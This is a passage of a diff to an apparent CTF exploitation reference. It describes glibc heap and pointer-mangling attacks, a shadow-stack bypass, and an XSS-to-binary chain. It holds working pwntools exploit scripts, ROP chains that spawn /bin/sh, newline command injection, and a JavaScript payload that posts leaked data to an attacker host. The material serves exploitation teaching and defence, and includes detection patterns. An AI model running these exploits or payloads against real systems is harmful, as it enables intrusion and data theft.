node2 = p64(encoded_system) # func = system("/bin/sh")
|
|
326
|
+
node2 += p64(binsh_addr) # obj = "/bin/sh"
|
|
327
|
+
node2 += p64(0) # next = NULL (end of list)
|
|
328
|
+
```
|
|
329
|
+
|
|
330
|
+
**Full chain:** integer underflow → heap overflow → tcache leak → unsorted bin libc leak → FSOP stdout TLS leak → pointer guard recovery → `__call_tls_dtors` hijack → `setuid(0)` + `system("/bin/sh")`.
|
|
331
|
+
|
|
332
|
+
**Key insight:** `__call_tls_dtors` iterates a singly-linked list calling `PTR_DEMANGLE(func)(obj)` for each entry. Demangling is `ror(val, 0x11) ^ pointer_guard`. To encode: `rol(target ^ pointer_guard, 0x11)`. The pointer guard lives in TLS at a fixed offset — once leaked via FSOP stdout, the entire list is forgeable.
|
|
333
|
+
|
|
334
|
+
**When to use:** Modern glibc (2.34+) where `__free_hook`/`__malloc_hook` are removed and FSOP via `_IO_wfile_jumps` (House of Apple 2) is blocked or constrained. TLS destructor overwrite is an alternative exit-time code execution path.
|
|
335
|
+
|
|
336
|
+
---
|
|
337
|
+
|
|
338
|
+
## Custom Shadow Stack Bypass via Pointer Overflow (Midnight 2026)
|
|
339
|
+
|
|
340
|
+
**Pattern (Revenant):** Binary implements a userland shadow stack in `.bss` — each function call pushes the return address to both the hardware stack and a `shadow_stack[]` array, validating them on return. The `shadow_stack_ptr` index increments on every call but is **never bounds-checked**, allowing it to overflow past the array into adjacent `.bss` variables.
|
|
341
|
+
|
|
342
|
+
**Binary protections:**
|
|
343
|
+
- Full RELRO, NX enabled, **PIE disabled** (fixed addresses)
|
|
344
|
+
- SHSTK and IBT enabled (Intel CET — hardware shadow stack)
|
|
345
|
+
- No stack canary
|
|
346
|
+
|
|
347
|
+
**`.bss` memory layout:**
|
|
348
|
+
```text
|
|
349
|
+
0x406000: shadow_stack[512] (512 × 8 = 4096 bytes)
|
|
350
|
+
0x407000: username[16] (user-controlled via input)
|
|
351
|
+
0x407040: shadow_stack_ptr (index into shadow_stack)
|
|
352
|
+
0x407048: shadow_stack_base
|
|
353
|
+
```
|
|
354
|
+
|
|
355
|
+
**Exploitation strategy:**
|
|
356
|
+
1. Trigger controlled recursion (e.g., `do_reset()` → `play()` loop) to increment `shadow_stack_ptr` exactly 512 times
|
|
357
|
+
2. After 512 iterations, `shadow_stack_ptr` points to `username` (user-controlled buffer)
|
|
358
|
+
3. Write the `win()` address into `username` via normal input
|
|
359
|
+
4. Overflow the stack buffer to overwrite the hardware return address with `win()`
|
|
360
|
+
5. On return, both shadow stack and hardware stack contain `win()` — validation passes
|
|
361
|
+
|
|
362
|
+
**Exploit code (pwntools):**
|
|
363
|
+
```python
|
|
364
|
+
from pwn import *
|
|
365
|
+
|
|
366
|
+
exe = ELF('./revenant')
|
|
367
|
+
io = process('./revenant')
|
|
368
|
+
|
|
369
|
+
# Calculate iterations needed to overflow shadow_stack_ptr to username
|
|
370
|
+
shadow_stack_addr = exe.symbols["shadow_stack"]
|
|
371
|
+
username_addr = exe.symbols["username"]
|
|
372
|
+
iterations = (username_addr - shadow_stack_addr) // 8 # 512
|
|
373
|
+
|
|
374
|
+
# Step 1: Write win() address into username buffer
|
|
375
|
+
name = fit(exe.symbols["win"])
|
|
376
|
+
|
|
377
|
+
# Step 2: Recurse 512 times to advance shadow_stack_ptr to username
|
|
378
|
+
for i in range(iterations):
|
|
379
|
+
io.sendlineafter(b"Survivor name:\n", name)
|
|
380
|
+
io.sendlineafter(b"[0] Flee", b"4") # Trigger do_reset() -> play()
|
|
381
|
+
|
|
382
|
+
# Step 3: Overflow stack buffer with win() address
|
|
383
|
+
padding = 56 # offset to return address (32-byte buf + 24 bytes)
|
|
384
|
+
payload = fit({padding: exe.symbols["win"]})
|
|
385
|
+
io.sendlineafter(b"(0-255):\n", payload)
|
|
386
|
+
|
|
387
|
+
io.interactive()
|
|
388
|
+
```
|
|
389
|
+
|
|
390
|
+
**Key insight:** Userland shadow stack implementations that lack bounds checking on the stack pointer are vulnerable to pointer overflow. By recursing enough times, the validation pointer advances past the shadow stack array into adjacent user-controlled memory (e.g., a username buffer). Writing the desired return address there makes the shadow stack check pass, defeating the protection entirely. The required iteration count is `(target_addr - shadow_stack_base) / pointer_size`.
|
|
391
|
+
|
|
392
|
+
**Detection pattern:** Look for:
|
|
393
|
+
- `.bss` arrays used as shadow stacks (paired push/pop with function calls)
|
|
394
|
+
- Missing bounds check on the index variable
|
|
395
|
+
- User-writable `.bss` variables adjacent to (above) the shadow stack array
|
|
396
|
+
- Recursive function calls controllable from user input
|
|
397
|
+
|
|
398
|
+
---
|
|
399
|
+
|
|
400
|
+
## Signed Int Overflow to Negative OOB Heap Write + XSS-to-Binary Pwn Bridge (Midnight 2026)
|
|
401
|
+
|
|
402
|
+
**Pattern (Canvas of Fear):** Web application wraps a native binary (`canvas_manager`) behind a Flask API, with admin endpoints restricted to `127.0.0.1`. The binary manages "canvases" (heap-allocated pixel arrays) with a pixel SET command that computes a 2D index as `y * width + x` using a **signed 32-bit int**. Supplying large `y` values overflows the multiplication to a negative result, passing the bounds check (`index < width * height`) while accessing memory **before** the data buffer — a negative OOB heap write primitive.
|
|
403
|
+
|
|
404
|
+
**Three-layer exploit chain:**
|
|
405
|
+
1. **Stored XSS** (Flask `|safe` Jinja filter) → admin bot executes JS at `127.0.0.1`
|
|
406
|
+
2. **XSS payloads call admin API** (Fetch API) → triggers binary commands
|
|
407
|
+
3. **Integer overflow → heap corruption → libc/stack leak → ROP chain**
|
|
408
|
+
|
|
409
|
+
### Heap Primitive: Signed Int Overflow in Index Calculation
|
|
410
|
+
|
|
411
|
+
The pixel index formula `y * width + x` wraps in 32-bit signed arithmetic:
|
|
412
|
+
```python
|
|
413
|
+
# For a 50x50 canvas: (8589934591 * 50 + 42) as int32 = -8
|
|
414
|
+
# After ×3 for RGB byte offset: -24 bytes before the data buffer
|
|
415
|
+
# This overwrites the canvas struct's height field (preceding the data on heap)
|
|
416
|
+
cmd(b'SET 1 42 8589934591 0x340000') # overwrite height: 0x32 → 0x34
|
|
417
|
+
```
|
|
418
|
+
|
|
419
|
+
**Key insight:** The bounds check `index < width * height` uses signed comparison, so a negative overflow result always passes. This turns a single pixel SET into a backward OOB write into heap metadata or adjacent chunk headers.
|
|
420
|
+
|
|
421
|
+
### Full Exploitation Chain
|
|
422
|
+
|
|
423
|
+
```python
|
|
424
|
+
from pwn import *
|
|
425
|
+
|
|
426
|
+
# Step 1: Create canvases — canvas 3 acts as consolidation blocker
|
|
427
|
+
cmd(b'CREATE 1 50 50') # large canvas (target for OOB write)
|
|
428
|
+
cmd(b'CREATE 2 20 20') # victim (will be freed for unsorted bin leak)
|
|
429
|
+
cmd(b'CREATE 3 20 20') # pivot (data pointer will be overwritten)
|
|
430
|
+
|
|
431
|
+
# Step 2: Free canvas 2 → unsorted bin puts libc pointers on heap
|
|
432
|
+
cmd(b'DELETE 2')
|
|
433
|
+
|
|
434
|
+
# Step 3: Overflow canvas 1's height field (0x32 → 0x34)
|
|
435
|
+
cmd(b'SET 1 42 8589934591 0x340000')
|
|
436
|
+
|
|
437
|
+
# Step 4: Read canvas 1 (now oversized) to leak heap + libc from freed chunk
|
|
438
|
+
cmd(b'GET 1')
|
|
439
|
+
# Parse RGB output: skip to offset 2507, extract fd/bk pointers
|
|
440
|
+
# heap_base = unpack(data[2:10]) << 12
|
|
441
|
+
# libc.address = unpack(data[34:42]) - 0x1edcc0
|
|
442
|
+
|
|
443
|
+
# Step 5: Remove size limit for full OOB write
|
|
444
|
+
cmd(b'SET 1 42 8589934591 0xffffff')
|
|
445
|
+
|
|
446
|
+
# Step 6: Overwrite canvas 3's data pointer → libc.sym['environ']
|
|
447
|
+
# Offset 0x2250 bytes from canvas 1's data to canvas 3's pointer field
|
|
448
|
+
target = unpack(pack(libc.sym["environ"]), endianness='big')
|
|
449
|
+
cmd(f'SET 1 2928 0 {hex((target >> 40) & 0xffffff)}'.encode())
|
|
450
|
+
cmd(f'SET 1 2929 0 {hex((target >> 16) & 0xffffff)}'.encode())
|
|
451
|
+
|
|
452
|
+
# Step 7: Read canvas 3 → reads *environ → stack leak
|
|
453
|
+
cmd(b'GET 3')
|
|
454
|
+
# main_ret = stack_leak - 0x140
|
|
455
|
+
|
|
456
|
+
# Step 8: Redirect canvas 3 pointer → main's return address on stack
|
|
457
|
+
target = unpack(pack(main_ret), endianness='big')
|
|
458
|
+
cmd(f'SET 1 2928 0 {hex((target >> 40) & 0xffffff)}'.encode())
|
|
459
|
+
cmd(f'SET 1 2929 0 {hex((target >> 16) & 0xffffff)}'.encode())
|
|
460
|
+
|
|
461
|
+
# Step 9: Write ROP chain via canvas 3 (3 bytes per pixel = per SET)
|
|
462
|
+
pop_rdi = libc.address + 0x2d7a2
|
|
463
|
+
ret = libc.address + 0x2c495
|
|
464
|
+
binsh = next(libc.search(b'/bin/sh\x00'))
|
|
465
|
+
payload = flat({0: [pop_rdi, binsh, ret, libc.sym["system"]]})
|
|
466
|
+
for i in range(0, len(payload), 3):
|
|
467
|
+
block = unpack(payload[i:i+3][::-1].ljust(8, b'\x00')) & 0xffffff
|
|
468
|
+
cmd(f'SET 3 {i//3} 0 0x{block:06x}'.encode())
|
|
469
|
+
|
|
470
|
+
# Step 10: EXIT triggers main() return → ROP chain executes
|
|
471
|
+
cmd(b'EXIT')
|
|
472
|
+
```
|
|
473
|
+
|
|
474
|
+
### XSS-to-Binary Pwn Bridge
|
|
475
|
+
|
|
476
|
+
When the binary is behind a web API with admin-only endpoints:
|
|
477
|
+
|
|
478
|
+
1. **Stored XSS via Flask `|safe`:** User messages rendered with `{{ msg.content | safe }}` bypass Jinja autoescaping. Submit `<script type="module">...</script>` via the public message endpoint
|
|
479
|
+
2. **Admin bot visits `/admin/messages`** from `127.0.0.1` → XSS executes
|
|
480
|
+
3. **Multi-stage payloads:** Each XSS stage calls admin API endpoints via `fetch()`, exfiltrates leaks to attacker VPS, then the next stage uses computed addresses:
|
|
481
|
+
```javascript
|
|
482
|
+
// Stage 1: trigger heap commands, exfiltrate leak
|
|
483
|
+
var res = await fetch("/api/canvas/get/1");
|
|
484
|
+
var data = await res.json();
|
|
485
|
+
await fetch('http://attacker:5000/', {
|
|
486
|
+
method: 'POST', mode: 'no-cors',
|
|
487
|
+
body: JSON.stringify({"pixels": btoa(JSON.stringify(data.pixels))})
|
|
488
|
+
});
|
|
489
|
+
```
|
|
490
|
+
4. **Newline injection for command stacking:** The API uses `pwntools.sendline()` to forward user input to the binary. Injecting `\n` in a parameter (e.g., `"color": "#000000\nEXIT\n"`) executes multiple binary commands in one request, bypassing the API's EXIT-then-restart logic:
|
|
491
|
+
```javascript
|
|
492
|
+
// Inject EXIT without triggering restart, then run shell commands
|
|
493
|
+
body: JSON.stringify({"id": 9, "x": 0, "y": 0, "color": "#000000\nEXIT"})
|
|
494
|
+
// Subsequent requests inject shell commands:
|
|
495
|
+
body: JSON.stringify({"id": 9, "x": 0, "y": 0, "color": "#000000\n./read_flag"})
|
|
496
|
+
```
|
|
497
|
+
|
|
498
|
+
**Key insight:** The 3-byte RGB pixel value maps naturally to a 24-bit arbitrary write primitive — each SET writes 3 bytes at a controlled offset. Overwriting a canvas's data pointer (via OOB from another canvas) transforms pixel read/write into full arbitrary read/write. The `environ` → stack leak → ROP chain pipeline converts this into RCE. When the binary sits behind a web API, XSS bridges the network boundary and newline injection through `sendline()` enables command stacking.
|
|
499
|
+
|
|
500
|
+
**Detection pattern:**
|
|
501
|
+
- Index computation using signed int multiplication on user-controlled values
|
|
502
|
+
- Bounds check using signed comparison (negative values always pass)
|
|
503
|
+
- Adjacent heap allocations where metadata/pointers follow data buffers
|
|
504
|
+
- Web API that passes user input directly to `process.sendline()` without newline sanitization
|
|
505
|
+
- Flask templates with `|safe` filter on user-controlled content
|
|
506
|
+
|
|
507
|
+
---
|
|
508
|
+
|
|
509
|
+
## atexit PTR_MANGLE Secret Recovery via Arbitrary Read (0x00CTF 2017)
|
|
510
|
+
|
|
511
|
+
**Pattern:** glibc's `atexit` handlers are protected by PTR_MANGLE, which applies `XOR secret + ROT17` to function pointers. With an arbitrary read primitive, recover the mangling secret from a known mangled pointer, then forge arbitrary atexit entries for code execution.
|
|
512
|
+
|
|
513
|
+
**PTR_MANGLE internals:**
|
|
514
|
+
```c
|
|
515
|
+
// glibc pointer mangling:
|
|
516
|
+
// mangled = ROL17(ptr ^ secret)
|
|
517
|
+
// original = ROR17(mangled) ^ secret
|
|
518
|
+
// The secret is stored in TLS at a fixed offset from the thread control block
|
|
519
|
+
// (fs:[0x30] on x86-64)
|
|
520
|
+
```
|
|
521
|
+
|
|
522
|
+
**Recovering the secret:**
|
|
523
|
+
```python
|
|
524
|
+
from pwn import *
|
|
525
|
+
|
|
526
|
+
def ror17(val, bits=64):
|
|
527
|
+
"""Rotate right by 17"""
|
|
528
|
+
return ((val >> 17) | (val << (bits - 17))) & ((1 << bits) - 1)
|
|
529
|
+
|
|
530
|
+
def rol17(val, bits=64):
|
|
531
|
+
"""Rotate left by 17"""
|
|
532
|
+
return ((val << 17) | (val >> (bits - 17))) & ((1 << bits) - 1)
|
|
533
|
+
|
|
534
|
+
# Step 1: Read a mangled pointer from the initial atexit list
|
|
535
|
+
# The first entry is typically _dl_fini, registered by the dynamic linker
|
|
536
|
+
mangled_ptr = arb_read(atexit_list_addr + FUNC_PTR_OFFSET)
|
|
537
|
+
|
|
538
|
+
# Step 2: If you know the original function address (e.g., _dl_fini):
|
|
539
|
+
secret = ror17(mangled_ptr) ^ known_dl_fini_addr
|
|
540
|
+
|
|
541
|
+
# Step 3: Forge your own mangled pointer to target function
|
|
542
|
+
forged = rol17(target_addr ^ secret)
|
|
543
|
+
|
|
544
|
+
# Step 4: Overwrite atexit entry with forged pointer
|
|
545
|
+
arb_write(atexit_list_addr + FUNC_PTR_OFFSET, forged)
|
|
546
|
+
# Normal program exit calls the forged handler → code execution
|
|
547
|
+
```
|
|
548
|
+
|
|
549
|
+
**Finding `_dl_fini` remotely (without server's ld.so):**
|
|
550
|
+
```python
|
|
551
|
+
# ld.so is loaded immediately after libc in the address space
|
|
552
|
+
# Scan forward from end of libc for the ELF header (4KB-aligned)
|
|
553
|
+
ld_base = None
|
|
554
|
+
scan_addr = libc_end
|
|
555
|
+
while True:
|
|
556
|
+
page = arb_read(scan_addr, 4)
|
|
557
|
+
if page == b'\x7fELF':
|
|
558
|
+
ld_base = scan_addr
|
|
559
|
+
break
|
|
560
|
+
scan_addr += 0x1000 # 4KB page alignment
|
|
561
|
+
|
|
562
|
+
# Read ld.so's ELF header to find entry point
|
|
563
|
+
ehdr = arb_read(ld_base, 0x40)
|
|
564
|
+
e_entry = u64(ehdr[0x18:0x20]) # ELF entry point (offset in file)
|
|
565
|
+
|
|
566
|
+
# _dl_fini is referenced from ld.so's _start via: lea rdx, [rip+X]
|
|
567
|
+
# Read the instruction bytes at the entry point to decode the offset
|
|
568
|
+
entry_code = arb_read(ld_base + e_entry, 0x20)
|
|
569
|
+
# Parse lea rdx, [rip+X] (opcode: 48 8d 15 XX XX XX XX)
|
|
570
|
+
lea_offset = entry_code.index(b'\x48\x8d\x15')
|
|
571
|
+
rip_offset = u32(entry_code[lea_offset+3:lea_offset+7])
|
|
572
|
+
dl_fini = ld_base + e_entry + lea_offset + 7 + rip_offset
|
|
573
|
+
```
|
|
574
|
+
|
|
575
|
+
**Key insight:** glibc's PTR_MANGLE uses `XOR secret + ROT17`. The secret is stored in TLS at a fixed offset from the thread control block. If you can read ANY mangled pointer whose original value is known (like `_dl_fini` in the initial atexit list), you can recover the secret and forge arbitrary mangled pointers. The initial atexit list always contains `_dl_fini` as the first registered handler, making it the ideal known-plaintext target.
|
|
576
|
+
|
|
577
|
+
**When to recognize:** Challenge provides an arbitrary read primitive and you need code execution via exit handlers. Also applies to any glibc structure using PTR_MANGLE (TLS destructors, `__exit_funcs`, `longjmp` buffers). The same XOR+ROT17 scheme protects all of them with the same per-thread secret.
|
|
578
|
+
|
|
579
|
+
**References:** 0x00CTF 2017
|